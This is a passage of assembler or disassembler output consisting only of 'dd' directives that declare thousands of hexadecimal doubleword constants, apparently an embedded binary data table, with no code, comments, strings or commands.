		dd 2BC98421h, 1FA98741h, 0B82A43Ch, 0C16A999Dh,	0A0C688B2h
		dd 34A9701h, 32169075h,	0ABBF342Ah, 2FB087E6h, 230855C0h
		dd 866D47Ah, 96041E79h,	0E4400CE8h, 3638C76Bh, 0E534C51Fh
		dd 333E4384h, 2E0FD7B2h, 4A809A59h, 5F0FD15Ch, 0C7C6505Ch
		dd 1DB0FA39h, 0A3B3D4h,	0B14738AEh, 99767F3h, 85899605h
		dd 7C640679h, 0B0ECE6BAh, 54FC06CCh, 3D40F3h, 353495DBh
		dd 5D2D5232h, 630AB17Fh, 0A38AB247h, 7EF4211Eh,	2DE067F6h
		dd 9C1722F1h, 77047ED0h, 3520C8Ah, 2E8BF65h, 157086DBh
		dd 38736158h, 1BE22189h, 0D4DF1D5Eh, 0B118D551h, 2E857C46h
		dd 0B60E096h, 0F955B6h,	2B351FF5h, 0C89915E9h, 3AC2604Ah
		dd 0D9595D31h, 0C8585A0Ah, 0F827F020h, 853796h,	0D6F07F87h
		dd 3139CD08h, 11AD985h,	0D19CF381h, 0DE593E9Ah,	411D2C30h
		dd 15B10101h, 0EB318104h, 122B1E54h, 59248819h,	0D4853C0Ah
		dd 41E92B6h, 824CD94h, 0DED1CA02h, 20CE1159h, 8D09090Ch
		dd 0D4901B81h, 81C01F35h, 4A0ABDB1h, 0C47C97C6h, 894A04DEh
		dd 0C10A9549h, 3CA19D2Eh, 0C7F806EAh, 8485F985h, 0D78101D3h
		dd 1569D024h, 0B1833060h, 0A7FA5F8Ah, 91FE2B00h, 423CC1B0h
		dd 20CD4A2Dh, 9B56027Dh, 13AE6C00h, 1E889823h, 106600BFh
		dd 150BED0Eh, 0E90E615Eh, 38FFF143h, 9E0AF562h,	14A0BBF1h
		dd 29C18B09h, 122ED285h, 4239B531h, 0ED04EB48h,	0E917B7C0h
		dd 0CBBF7E61h, 3CC8890Dh, 0D6FC00B8h, 0BF5B6793h, 8D000BCAh
		dd 0F5BB2001h, 4B352E9h, 27A3F1EAh, 0F0FD8742h,	54723EBCh
		dd 0A6E41500h, 6CCD3438h, 0FE0F00EBh, 0B37B3AF9h, 500039AEh
		dd 949DD316h, 8434B2h, 939CA067h, 1DDA8526h, 86689500h
		dd 0C7829DA5h, 7BB0004Ah, 2F7EAB20h, 690037A4h,	0DDDB1C6Dh
		dd 1D2074Eh, 0C60EB1D4h, 0D8FBBBC2h, 803F79C5h,	9044073Ah
		dd 6340F114h, 18C2A7h, 28D29594h, 0F3D40164h, 7E52172Eh
		dd 9B5E8101h, 2EF8F615h, 0F2E80056h, 984120AEh,	90EC8B12h
		dd 0FC182F01h, 0DB675F89h, 8059A0F3h, 0A92700FAh, 0C7863A04h
		dd 0E6184315h, 0AC2C2375h, 39A02D7h, 578CF1CAh,	6EB6EFA0h
		dd 0D8002369h, 0DBE11659h, 0F4B20B40h, 38B960D6h, 64AB9BCDh
		dd 5A13A937h, 8964520h,	0A3725CBFh, 0EB4CCF80h,	32C0B56Ah
		dd 0FFBCCBBh, 2266306Eh, 0CD585C9Eh, 55538200h,	3A0A4C36h
		dd 46080CCCh, 0A16970E1h, 719DCA00h, 659E67F0h,	0B3F500CDh
		dd 0D1064992h, 15ACFCBh, 0B48760AFh, 0F4004232h, 0EC1DB907h
		dd 166C2AADh, 0AB0BDC19h
		dd 78B6C90h, 1A5C3FE4h,	113AE78Ch, 659991C8h, 2CD515h
		dd 8BCA515Dh, 733D484Eh, 214404B2h, 0AB5B2B8Dh,	0E34FC680h
		dd 0D96801FAh, 1710AA59h, 0E83524AFh, 6725D00Ah, 0E700B504h
		dd 167533A4h, 602E1FAFh, 429BC005h, 0F0EF783Bh,	0B0194806h
		dd 77FE13BFh, 65700056h, 6ED1EA09h, 0DA012167h,	0C1483CBAh
		dd 0B488391Ch, 0C804DB3h, 0E1BB7A9Bh, 8D010A1Eh, 80634E3Ch
		dd 0E0C8535Fh, 77E68E66h, 8110683Eh, 0AA33E980h, 62E436A7h
		dd 599C30DFh, 4C3A832Ah, 0E0695EB5h, 60BB09F0h,	0B4FAE103h
		dd 0A9CA8C51h, 8F86A86h, 0A4C4981h, 9901E318h, 2CFE6EC7h
		dd 9803A97Ah, 0F663E653h, 32318856h, 20B91215h,	9FAD0005h
		dd 8A18C50Ch, 0F0733Dh,	0D2946487h, 4C9EE2h, 14C43202h
		dd 9A405682h, 42D91600h, 536DC09h, 7BAB018h, 0FAC39294h
		dd 3297F301h, 0F9B89BA3h, 961847D0h, 87C09577h,	53714C4Ah
		dd 0FA82B03h, 2612904Eh, 0A7009E5Ch, 4A5C442h, 8219C053h
		dd 21DF78B5h, 0BC3EA900h, 1B22BB4Bh, 991F00D8h,	0C65BCC7Dh
		dd 0EC1F9D1Eh, 2BC077A0h, 0B3A18394h, 11970740h, 7014418Ah
		dd 0DA4D4B8Ch, 56629B00h, 5BA21FA5h, 18C97412h,	70D7AAC5h
		dd 7F0077F1h, 0DAC0C633h, 608324A7h, 34031DD2h,	72005423h
		dd 37DE741Bh, 122EAB96h, 40D21D68h, 784CEE36h, 0CF00CD0Ah
		dd 168845C3h, 0F7273FE6h, 0B4AACB55h, 0A70047B6h, 932884F4h
		dd 5870AD3h, 33248504h,	0E2F80BF7h, 97EB6781h, 0FEAC4091h
		dd 4A909E81h, 0CB5DD300h, 0D47F48D6h, 2E6C006Dh, 5818C1A0h
		dd 0B5006ECFh, 9383F4CDh, 0DF2689CAh, 0B6E340BEh, 0ADEBEC57h
		dd 45245E00h, 0BD2A96D4h, 0C6E20007h, 0F972890Fh, 0D0E48B8Ch
		dd 3826B309h, 0EF7C90B1h, 743A01A3h, 636FA411h,	8EBCE925h
		dd 105547DEh, 0B8577B2Dh, 0E52A4DE1h, 1A832DCh,	0A3FA37EAh
		dd 81FE95C6h, 33B2F51Eh, 0BCF1AFA6h, 2A35D3D8h,	50822314h
		dd 13A89F2h, 0A7878A4Ah, 9E8607A0h, 8EC23F1Dh, 0E072FB02h
		dd 0B97431Ch, 8433C7D7h, 1B503F00h, 141C4B80h, 1A1FD9E7h
		dd 0FFA9B598h, 0EEEF31AEh, 0CC212E50h, 9E03CBCFh, 40E968EBh
		dd 0C6BD000Fh, 2D9DE069h, 460275DEh, 3244AD3Eh,	0EDC98409h
		dd 0C0CC6D82h, 3DB9A81h, 0E7F99220h, 11E0B8E6h,	3713D3F4h
		dd 7A078572h, 0BE10FABDh, 6DEE6Fh, 66C2A939h, 6BB4155Ch
		dd 0D42DD128h, 0ECD88E00h, 4E8F599Eh, 9CED1385h, 0BC6000AEh
		dd 0DFE5A43h, 0E4005E98h, 136A38A5h, 501DAh, 6619CD52h
		dd 1D9C08C1h, 70390426h, 1F50F980h, 26F7D113h, 217936h
		dd 8F6BB2F8h, 16028302h, 87C64689h, 6E876007h, 0A72CC255h
		dd 8840FFC8h, 2800D845h, 0AE6F3720h, 32491FBh, 8623A225h
		dd 2E248ED5h, 4D00880Ch, 0A365894h, 0D8C612BDh,	77772012h
		dd 0FF1E6F5Eh, 0AE40EC01h, 9A64F5F2h, 0BCEA07F3h, 403DA4C7h
		dd 63BA06F4h, 8A00BDF4h, 78830FCBh, 4E83F2Fh, 90FED33Ch
		dd 8DCB935Bh, 0F79340BCh, 0C4745B2h, 77F841C0h,	0D100AE1Dh
		dd 0C2046D08h, 0BFB64h,	0E7532365h, 9B2EB4F2h, 9321D80Bh
		dd 5C17AA4Ah, 0C0806C2Ch, 7281B28Bh, 25EB48F2h,	38002258h
		dd 25ACFFBDh, 974CF6B4h, 333B80ADh, 0EDFD43h, 0B2279363h
		dd 5E9BEEF4h, 23A88400h, 3989508Fh, 17E90C0h, 8180FD2Ah
		dd 0E45F1BDEh, 66C01379h, 766D3A8h, 6EF53AD6h, 3F444B4Ah
		dd 0D86B4557h, 0E6108956h, 5584C681h, 0EE2920BDh, 3487015Dh
		dd 3685C24h, 1407C27Bh,	83E31E9Ah, 181FB5EEh, 53002CDDh
		dd 0FB3907BBh, 45BA0028h, 136A421h, 81035BDAh, 3F514FE2h
		dd 0BEC2B07Dh, 6D63E11h, 0AB65EA00h, 8B545E0Eh,	0C48348C1h
		dd 81716804h, 0F9F14215h, 16BF5F60h, 0E458F17h,	0A74757Fh
		dd 5D22FF32h, 1AA5D1D5h, 79D53C8Bh, 0A0D04EE9h,	0C3F4E9h
		dd 26F2FFFBh, 0BB8AB806h, 4EBAE65Ah, 6B00B77Dh,	2338C65Dh
		dd 78B33F00h, 6715550Fh, 2B690034h, 935EA73h, 470303D3h
		dd 22BD8A3Eh, 595FA0B9h, 4D330FF7h, 0BA803470h,	777A2F5Bh
		dd 0C2A46707h, 6D2059C8h, 512C9h, 0DC540894h, 0A45D48F4h
		dd 0BF9E900h, 1FAD8227h, 0EB670129h, 2D93872Eh,	8BAC2F11h
		dd 48EF392h, 1FC19D8Bh,	7CC0FF12h, 2F6F781h, 0F49A998h
		dd 0F377FAB7h, 27F7800h, 3EEB700h, 0C88842B9h, 0F5532789h
		dd 2FBF3760h, 5D529918h, 0BE302D88h, 0BDFA868Eh, 952D95E6h
		dd 5B3B40E9h, 0E59D1631h, 1A8DAE1Fh, 0FC4DA86Ah, 0F1AD00F4h
		dd 3832ABA2h, 176253FBh, 312984h, 505B5790h, 0BEBF660Fh
		dd 8B4C1D1Eh, 1BFAB7FEh, 0E7FA4E8h, 0BE9A2216h,	124E14E3h
		dd 0ACF885EEh, 72A6D30Ah, 193EE9E0h, 5776F112h,	278843E0h
		dd 0C0905B75h, 9E0709CBh, 612C8C9Ch, 75D1FF72h,	2858D573h
		dd 2714B7FEh, 0ED255F69h, 0B3C5B8h, 26AFB9Eh, 515B6090h
		dd 0B62EED20h, 0CC7C0072h, 0C59408B7h, 5A00D5FAh, 50611DB5h
		dd 1A90DA8Bh, 33118C0Fh, 7F1E32D9h, 828E01C0h, 0B987C3Eh
		dd 5F74E780h, 1FA08C46h, 0D1831391h, 2C6E0DFBh,	0BE41044Fh
		dd 0CBB7202Bh, 0AE00E30Ch, 2E065E78h, 2D1CB016h, 36CE8DAFh
		dd 0F8D41ABEh, 51A92536h, 0F6078644h, 88DF4CEEh, 96929421h
		dd 0F21AA1F4h, 0E2620036h, 50902CA5h, 0C84A8B60h, 7861D382h
		dd 5B6C90EBh, 0C0159B2Bh, 0DABFA2BDh, 33C40753h, 8051675Dh
		dd 1B74C624h, 8940309Eh, 0D94FCBh, 0CAC265BBh, 9241F9Eh
		dd 0A48A4105h, 2AB9E185h, 499D2382h, 285BC2ABh,	9F23662Dh
		dd 5AE11A90h, 42B73600h, 66E4C4A6h, 0C720003Fh,	701B4057h
		dd 1A98FD8Ah, 8589FF0Bh, 0F14B556Dh, 76BA54E4h,	4C2D59BCh
		dd 0C8F14BF4h, 8C1CD351h, 0F900B0DDh, 0D1BF70E6h, 5A47ECDh
		dd 0D38071E4h, 33E7AD60h, 0BA5339D5h, 20996C8Ah, 5B5A0D19h
		dd 8D29EBC0h, 716BED95h, 0C4EF81E5h, 0C14F8B04h, 11130C8h
		dd 0FF4659Dh, 3047D850h, 0DF5ABFCFh, 88B2EBC7h,	44735608h
		dd 5B534502h, 205BE4ACh, 81D8EA8Bh, 2B276C71h, 215360C8h
		dd 0F1E88B24h, 617CB39Dh, 7B85D148h, 55D9315Ah,	4F0985F4h
		dd 3A81D914h, 27C8F0h, 0B192F1FDh, 0F6DE0A50h, 81E880B5h
		dd 3426C8C7h, 1612671Bh, 0BCBA4A6h, 25B58988h, 9AFF15A1h
		dd 7F157B8h, 44C4442Dh,	3C988921h, 0A5FAA38Bh, 33FE1583h
		dd 220D6DE9h, 555941E9h, 84BCA985h, 0BF242785h,	70F7EEE3h
		dd 0F93F79DEh, 9D8940C1h, 0FD2E3071h, 0B9B693F3h, 0B81B08E0h
		dd 570117F4h, 952E3D0h,	0AD7C6595h, 8C6B909h, 0E386EDFDh
		dd 0DFE8F65Bh, 0FD24D9ADh, 2039941Dh, 0F5F39A22h, 0A9A3646Bh
		dd 143A8F1h, 0CDC2A6E8h, 3AFC350Bh, 9D923A37h, 0A4C22B11h
		dd 782EF377h, 3702716Ah, 424733C6h, 81274060h, 0BA618017h
		dd 0DCED3AE1h, 0A80047E8h, 6093AFC2h, 48BCA5F2h, 412A3EB1h
		dd 2DAA9091h, 0AA679F85h, 0C0E44DA5h, 6C31E97Fh, 86C8FC4Ah
		dd 67D70026h, 0B2C23DCBh, 0D017D137h, 36563BB7h, 0EC508EA2h
		dd 9D0A4A51h, 2133C7h, 0A6190D2Ah, 1F4FE1h, 0E60716AFh
		dd 0D837C39Eh, 0CF44416h, 0F65360B3h, 911C3207h, 0C69A91A6h
		dd 3A2AC4F8h, 41CB1E5Ah, 4806BD3h, 5425BC19h, 0CAE351C0h
		dd 0EB0AC21Ch, 1D67104h, 0BD2E5B51h, 29EE8F6h, 0CD4D867h
		dd 4C46E03Ah, 0FFB70F16h, 0F53CE1A3h, 0E12B5EBDh, 4F8E78F0h
		dd 0C4D0E212h, 132E6AF1h, 899DF200h, 752B62A9h,	0BA58BD7Bh
		dd 643001B0h, 7EBE8750h
		dd 0B6206EF8h, 7BB9A71Dh, 258281Eh, 0F4F350AAh,	0AB14B55Fh
		dd 0CD87A5FDh, 4349C080h, 0F92D63DBh, 11C4457Bh, 0BB66001Dh
		dd 9606575h, 0B53D708Dh, 57519F10h, 5B62B894h, 3180D45Fh
		dd 6A171D16h, 2B6D8032h, 5C70C673h, 0B5293D4Eh,	9D4533ADh
		dd 961FF5A5h, 70509782h, 9F79E0BBh, 981AB574h, 580E5B5Dh
		dd 0C4498009h, 20C84A22h, 32C00B56h, 7B004E0Fh,	840D57CAh
		dd 97312200h, 0BF5BDA8Bh, 0AB8A1240h, 0FB51C136h, 0E4632F50h
		dd 4FFDECF9h, 0E2CEEB8h, 0A63E2AE3h, 752797CCh,	9B3B66A3h
		dd 50E9ACC8h, 0C2AB121Fh, 20EF5AFFh, 0C1BD29BEh, 0DDB0549Ah
		dd 0DC7E7EB5h, 613DF800h, 36EBAFEAh, 952909A6h,	97FA1881h
		dd 9F1DED20h, 507A3C14h, 480095B9h, 9687386Eh, 17AA9F5Bh
		dd 0DA500F50h, 929A2B1Ch, 582922FAh, 1F61BE60h,	1329BB80h
		dd 0E3726507h, 9D010B91h, 4202597Dh, 768E8D0Fh,	0E9DBBFC1h
		dd 536524FCh, 0EB958C4h, 0D4515F0Bh, 0C1AA6DADh, 0C8F9CFEDh
		dd 0CB2480D5h, 8D0B7952h, 0A5D45330h, 0FBC16DEDh, 54880C93h
		dd 0E4271775h, 4F7AAFF3h, 5C3757A0h, 0BF0AC54Ch, 0CF33E927h
		dd 76E9E227h, 7697F444h, 79896787h, 7DC3B56h, 4B77FDA5h
		dd 744E005Ch, 35B7018Fh, 801891BBh, 469EF312h, 0FC859FF5h
		dd 97F6A815h, 7632F2h, 8C0252D9h, 0B0C6A2DAh, 0C01C505Ch
		dd 6115A1A7h, 24BA0F52h, 0B0B32F7Ah, 0D44E9C1h,	0DA5A0F7Dh
		dd 9E4042E0h, 3084ABFCh, 640DE82Dh, 99FE9D09h, 0B1F500DCh
		dd 98E9C431h, 2B05ED68h, 0FDB3976Ch, 12242C80h,	0ADB27DD8h
		dd 0B9B7602Fh, 0D7126A8Eh, 0A8678DFBh, 4CC2FAD5h, 0BF55D0FEh
		dd 6200AE37h, 0E39E064Eh, 397902C0h, 0D8D297Fh,	0EE27575Eh
		dd 6196AD7Eh, 7ECB6F12h, 5EE77609h, 38141028h, 0CC6ECF61h
		dd 0C87E7513h, 0BA1EB4F8h, 994B5736h, 0BDD70234h, 9FF650C9h
		dd 5E9D9796h, 7600D687h, 0E38AA6A0h, 9F96A58Ch,	284ECE94h
		dd 1E4D8A21h, 3E38E901h, 0BE86FF9h, 998E135Ah, 0B5AB5E8h
		dd 7422718Eh, 0EDDF8014h, 964B39Eh, 5FF55721h, 5ABC86D1h
		dd 4309279Ch, 0BE6A972Ch, 0D9FA7105h, 0AC26A9B8h, 660D8C17h
		dd 0ECC0CFBEh, 0B3009D32h, 6EBB509Dh, 3A5BA7D4h, 0F9BF4DD1h
		dd 23ED6B3Bh, 0E34B001Ch, 0FA67209Fh, 0E45AFF12h, 42D415ACh
		dd 0A70C992Eh, 7C970CEEh, 8D1F7E3Bh, 52478E6Bh,	0BD3A999Fh
		dd 70FC77A6h, 0E1AA1C98h, 0BC2B52ABh, 0E2674AC6h, 6B94A640h
		dd 0DEDC0017h, 0B995610h, 9CFA9301h, 0F08CA016h, 0A85928A7h
		dd 941CCCACh, 6D055109h, 1DA8186Ch, 3E60E1D3h, 1D9AF874h
		dd 5B91ABC0h, 2B045098h, 9531FBFAh, 0B1A52BBh, 50D9E3h
		dd 0D663F497h, 0C251DB00h, 0D6B6EAFEh, 0DAB6CB86h, 0DC9D2150h
		dd 7F00D6DBh, 4C77E87Ah, 278D8916h, 5AF0E4Dh, 3A53276Bh
		dd 0B635F5A5h, 8AB2A902h, 6134D4DEh, 3E4D8531h,	0B6D7AFA8h
		dd 7C65A0E4h, 2C761769h, 5B88E113h, 0C01A88B6h,	14F799AAh
		dd 9006F814h, 992728Ah,	0CD3BBA9Fh, 93086081h, 0AD4CBF2Bh
		dd 46D106Eh, 0E5609614h, 5250CF00h, 310F5956h, 8D807AB1h
		dd 488C1809h, 0B6DE034Ah, 5061585Ah, 76BB6688h,	965B0E15h
		dd 0FD7EFC7Dh, 244E06C8h, 67CFE322h, 590390A9h,	4C03B9E5h
		dd 0AAB2A790h, 2C33C0FBh, 0D6B509BEh, 0C57D8B0Fh, 8891355h
		dd 0A94E214Eh, 0B46DD2Dh, 0DAA09B80h, 0DC86DE0Bh, 441151FFh
		dd 2D9A5033h, 0BFF2A0C9h, 9A5043A9h, 61549DB5h,	0AF4B5D6h
		dd 0D618A303h, 9AF8DAA0h, 0DAB75DA4h, 2BCC5080h, 0FE68FAE6h
		dd 41C82F30h, 84585D10h, 37918F17h, 22D6901Eh, 230415A7h
		dd 0D206099Dh, 13E48C1Ah, 0E74A10B7h, 0BCFF0F0Ch, 2E404653h
		dd 6499B9B8h, 0A5DE2B1Eh, 54B76268h, 6404DE6Dh,	0EAD0883Ah
		dd 9878048Dh, 0B8BC36A0h, 0B0280702h, 0D440023Eh, 0B4F6A67h
		dd 66516B57h, 0B5503B46h, 72DCAD7Ch, 23A7A73h, 0FD71108Fh
		dd 63D4F12Bh, 61083A6Ah, 4FC61201h, 2D118349h, 0AF4345F5h
		dd 0E6C0366Dh, 1CE9C891h, 6DFFF32Dh, 4100CBB7h,	0D014EFFEh
		dd 2E6E0B86h, 8463F4EEh, 2060C191h, 9D881241h, 0BE610049h
		dd 42503990h, 0DF00CB79h, 58265CF1h, 75D2101Ah,	0B589135Bh
		dd 61E64969h, 9EBE8271h, 0CF445BDh, 4F0314E3h, 0A8019E74h
		dd 5BDE7C12h, 377B35C9h, 9CBD8BE0h, 229B7C02h, 630C57EEh
		dd 0CD2FFC94h, 0E0466DE6h, 49CFBD9Ch, 0F54E2325h, 1246AEh
		dd 0B4A89905h, 1B06DE69h, 4F431D26h, 0A2109536h, 0E2022AF0h
		dd 9B19F89Dh, 4966E9h, 78B14A3Dh, 52189F4Bh, 0A975B71h
		dd 16DE13B9h, 53784338h, 0BB55D0D6h, 0D42A03B5h, 0B7B5B34Ch
		dd 0C05F00C0h, 0E78AC2A5h, 0FF63B569h, 0E9E0216Dh, 3F86AE89h
		dd 0EDA7832Ch, 0C0A40273h, 7116A509h, 495B6BEEh, 58B6750h
		dd 0FF88ADFh, 0BD0E1D87h, 8012B2CEh, 6704EA34h,	0C73D026Eh
		dd 0D1FFEF2Ah, 587DD37Dh, 0C612E3A4h, 0B242F957h, 7775BD29h
		dd 71E009h, 0BF406144h,	0A7E5A0Ch, 0B7026A25h, 83630041h
		dd 8A90714Dh, 550FC3Ah,	1451BD03h, 9A5E2FCEh, 0DD748098h
		dd 0E654E783h, 96C13CCh, 0D6D0AE89h, 970E0BE9h,	6200296h
		dd 0C5B30FCEh, 0C456B501h, 0ACF8AD2Ch, 0FB018C16h, 90F8AACDh
		dd 0F2A51CB3h, 9B966Ch,	0E4D1D77Ah, 0A8DA9202h,	99A582FFh
		dd 50BB5C2Ah, 1697820Fh, 0DC2294C1h, 88075800h,	5459E097h
		dd 0E890970Dh, 0C00B38Fh, 454E134Bh, 0E6742BEAh, 9BFF4E6Ah
		dd 8921821Eh, 82A67495h, 1911BD0Bh, 4988FE5Ch, 9B30932h
		dd 0F511FA73h, 0ADBD330Ah, 0BBB09689h, 100116CCh, 76092D85h
		dd 0F9498D2Ah, 1A70E624h, 110203Dh, 0C78171E4h,	0EEF4F058h
		dd 0C393105Eh, 3AB19DBEh, 9175582h, 4AC40E70h, 600B1425h
		dd 243DD102h, 0BA61FC01h, 0E2C11D52h, 0D51BC216h, 600FE8D1h
		dd 0CEB88051h, 18F95A8Dh, 2AC82B61h, 8B27C90Bh,	0E3B009D1h
		dd 0E9C31434h, 997B2B75h, 0E0F912E9h, 9D342BE0h, 5E21A5BDh
		dd 13F18D09h, 2BBCC93Ah, 22BDEB28h, 43430109h, 0B803FF34h
		dd 3989127Ah, 2F22F0E2h, 0A5F67590h, 3AFE16A1h,	0DDC3020h
		dd 503738ABh, 689A5380h, 0B86936C4h, 0F57A2A09h, 65040852h
		dd 30DF6630h, 0FE30973Bh, 428242E5h, 0C76B00C4h, 272F74AEh
		dd 11557164h, 1C65F19h,	3E1D9D01h, 0C2A7C0B8h, 4B0F21CDh
		dd 9C27F07Dh, 0C707DC5Dh, 0F2CA0ED7h, 105A1340h, 28F2B0Fh
		dd 0FCE10C8Ch, 1B404974h, 1824F1F9h, 0C0CAAAE5h, 8A091D67h
		dd 6F972258h, 58B640C2h, 0F8489CCAh, 520C1226h,	6350ACE2h
		dd 2B2C417Dh, 0AC9F833Dh, 0E9E29225h, 2EABCF3h,	0F9EC0A6Eh
		dd 5EE657FEh, 6F1F0F01h, 0D75696BEh, 26B5EC4h, 78AC9441h
		dd 5653880Dh, 24CB7D8h,	0FE1CBBD6h, 5D6602D5h, 0A954C500h
		dd 5908E257h, 667C132Ch, 0C886DAC7h, 0D2DBC515h, 8A74D94Ah
		dd 23092610h, 2F29419Dh, 0FC92CC59h, 0E9F4BCE2h, 0C7A8F6h
		dd 21C15EAh, 30F3D66h, 0B4BF6802h, 0D5420B90h, 7858A0D3h
		dd 44EF83Ah, 454D8FF0h,	0D3A217h, 6682A628h, 87C1BDh, 0DDAB43D9h
		dd 0A9E947A0h, 79325213h, 0DC806BBCh, 0A4BE8D56h, 0AA00B8FEh
		dd 438E7049h, 57624F6h,	62DACCB1h, 0B5E0C1DEh, 0B8985459h
		dd 2A5FA218h, 1B673D62h, 4FFF09B8h, 0F95942A6h,	5DF73A75h
		dd 9101A435h, 358529D1h, 8FFBE64h, 6840FE1h, 0FD953182h
		dd 711C5E16h, 5BC1143Dh, 13590D8Dh, 524504F2h, 0F6801AA8h
		dd 0BC3BA195h
		dd 0C5FECF25h, 0C7F61AD7h, 0A2277674h, 63DE8B7Ch, 2AEAD43Fh
		dd 0D295C07Bh, 25801834h, 0F4CA27E3h, 0B8080C84h, 15FC4F4h
		dd 0F095F6FBh, 1601B8E6h, 0D52D1902h, 1CD8F3A6h, 967BD2Bh
		dd 0AFD95B8Fh, 3A1253B5h, 81816CACh, 0D13E20CBh, 0C41F2E7Eh
		dd 104F46Eh, 0F99421BDh, 0F086E6EFh, 1A5EE41h, 0FBA3FA0h
		dd 30F91446h, 5B4B7BDAh, 11C8B7E2h, 27975581h, 0D3C878E2h
		dd 89C500FDh, 0FE304A12h, 0C7271C48h, 0E89BD750h, 4B2919B8h
		dd 96912E97h, 0E72270B0h, 95608748h, 0C29E3464h, 3A4425h
		dd 26C59896h, 0A4A3B117h, 0F669FC01h, 58616BF2h, 1FF1A036h
		dd 0B9983AADh, 0B7521BDh, 0B847DDC9h, 0E9B850E0h, 0F7014AB6h
		dd 0D763A09Dh, 957750BAh, 8DA44B36h, 1F430E6h, 9D3AF889h
		dd 0BF21E098h, 0FFEC808Ch, 831A9745h, 89271570h, 0AAE1F006h
		dd 3FB55F5Bh, 79801D91h, 6B8B1C2Ch, 0D0CB9C06h,	20624477h
		dd 0C8B429B5h, 7061F209h, 0DCAEB64Fh, 410C137Bh, 0F53D63BFh
		dd 1C905CCh, 0B40CEDB5h, 510052FDh, 0BA665F5Eh,	906198A8h
		dd 18F424Eh, 363B53BBh,	0B228964Ah, 0DA4A9E4Dh,	0C414C866h
		dd 4FA28BA9h, 0DD30BCCDh, 29B32450h, 0B9D1498Bh, 0E29EB700h
		dd 48583849h, 5FA28CECh, 23B3A041h, 8411509Eh, 0C4C4EC7Fh
		dd 8B102B15h, 3223D704h, 216AEE8Dh, 8E061623h, 9E5E9371h
		dd 548A455h, 4EA2ABBh, 5D0A81A9h, 0E4A88C93h, 905EB6C0h
		dd 5738D31h, 0C0851597h, 23DF6E39h, 0C9DBD14h, 7EEF0576h
		dd 2CE661D1h, 4CF2D1E0h, 9E04837Ch, 0AE9DD091h,	6DA6B385h
		dd 6381DD4Ah, 2DEA0034h, 3E187B25h, 66CA003Ah, 4EE076F5h
		dd 8404A114h, 0E873B2C6h, 0E5A4D9ACh, 0B6DB2B83h, 635D8B9Ch
		dd 468D6277h, 0DF5C0E9Ah, 0D4209218h, 0B8D7E19Eh, 7C12D5F0h
		dd 0E9ED43E9h, 0D33A59ECh, 13EA4802h, 26222A69h, 75B05CDEh
		dd 4DE81CAh, 0B3A5B141h, 0B85EADDCh, 0AEFB01C5h, 646E9C20h
		dd 6B93B86h, 0ABA8F600h, 0ED302F40h, 0F7024D76h, 8588A506h
		dd 689275CDh, 24D7A5C2h, 0DBC5BD3h, 538098A7h, 2F5682BFh
		dd 7D459D62h, 6AD76F90h, 0DBE31737h, 7BBE81C4h,	7B8B0969h
		dd 97BDD076h, 15D94C32h, 5FCCA400h, 2567713Ah, 96C4EC75h
		dd 84113795h, 849A50A1h, 38E4B299h, 1A4187F9h, 5F64ED7Fh
		dd 0DAD661BDh, 0B58E801Ch, 31E575A6h, 0F8E464CDh, 4E23296h
		dd 5BFE8A53h, 11E3E6C5h, 2621602h, 0BF42FFCh, 5FFD3169h
		dd 0E1695264h, 896A9C2Fh, 0C218D12h, 0A6D253F2h, 9286A056h
		dd 0B4E248A0h, 8D297D02h, 15740BE1h, 0D4C45E5Ah, 442D0125h
		dd 738177B6h, 0E5EE004Ah, 0FFDAD48h, 3D09B6C3h,	7B8E33DFh
		dd 9F55AD4Ch, 0C41180DCh, 0ECA69A49h, 0F8F8D525h, 0ED3FF5C9h
		dd 0E39EE800h, 2B0EE023h, 0FB4002EBh, 6C18E944h, 0E153Ah
		dd 9B4E315Bh, 0B0ACF4A4h, 459D10CEh, 19E7E1Bh, 519A8F69h
		dd 9711BF02h, 665E2740h, 292D182Dh, 14812085h, 374C0997h
		dd 0E43782E1h, 0B64615EBh, 0A9C0B300h, 702AFCBh, 3EBF0ED2h
		dd 0F6D28F64h, 3019B252h, 8A096316h, 79C5891Eh,	0DEFCAC53h
		dd 0E503837Ch, 897AA451h, 4418FA85h, 0CB7B960Fh, 0FF7CE729h
		dd 631D4D5Ah, 2CE0D062h, 0F90A5739h, 11890F5Bh,	27AFF927h
		dd 0ACD8987Fh, 0D8250038h, 58119882h, 772D3E1Fh, 276FF3D2h
		dd 1292C344h, 4712BB7Bh, 0FC1724D7h, 16923BC4h,	5B6660h
		dd 0C5D38AF6h, 0D6BE9B0Fh, 0CA6A317h, 922FDEF3h, 0C28C1080h
		dd 6125CC2Bh, 87F90896h, 355731C7h, 89217B49h, 1679FB8Bh
		dd 7B0B3647h, 9FAAD032h, 0E41DA10Eh, 2A50059h, 0BB6696h
		dd 0BF50F22Eh, 4C906E44h, 121739Ah, 1D8E6F11h, 56EAE732h
		dd 2C6AF025h, 0AC611627h, 0F9AE12B7h, 52BB025Ch, 9249C506h
		dd 0B471773Eh, 24998831h, 0CA422B09h, 0D79D0357h, 5B4B06F8h
		dd 0BB71CE8Ah, 3C29F0F6h, 3E6D6A00h, 9D2356B5h,	9D3AE7A1h
		dd 0F1FA2634h, 0F1F4D7F0h, 4C0A05CEh, 0E7C6FC8Ah, 0CD8BA003h
		dd 2AB513BAh, 0B9751360h, 0BD09045Ch, 61091731h, 354B177Bh
		dd 6BC284D0h, 0C04B0F5h, 0EDE9BA07h, 0B019FFF2h, 2D95890Bh
		dd 1F7F1B31h, 0E2822CEFh, 90D54A3Dh, 9FA940h, 0DEE24596h
		dd 0CEBB2C5Eh, 2736C3Ch, 0A7ABDDCCh, 9431575Fh,	0FA31088Bh
		dd 2A2C41A1h, 0C8FC06D5h, 907CE26h, 4935951h, 906105CCh
		dd 15B825EDh, 168CC83Dh, 9BEF6AB9h, 1819ECEh, 0A7F5F116h
		dd 0BD914020h, 0ED270874h, 7EAAE0CCh, 14EB589h,	34F2D684h
		dd 56912C00h, 0C2AAE3E8h, 1D542900h, 5805BC79h,	0E1112833h
		dd 0DE461EABh, 0DE85ACE6h, 560D6900h, 0A585097Ch, 0E49508h
		dd 0B5B1BF05h, 30AE0364h, 1A8E2936h, 9D9F7600h,	0A2015813h
		dd 21EA001Bh, 0FFB531B0h, 5F5AF4B7h, 0BD028108h, 0B690FD13h
		dd 0C82E0A3h, 74620388h, 0A82DFF03h, 0AB6E485Bh, 7B552800h
		dd 0AAB7AEE8h, 65FE4E26h, 0DC22D10Bh, 0C5185A4Bh, 370FEAD9h
		dd 766427F9h, 4B7C8AAAh, 206F598Dh, 0B24BADE7h,	0A8914607h
		dd 52700DFCh, 273BF6Ch,	5B33B607h, 8CB7D1FFh, 6E71A380h
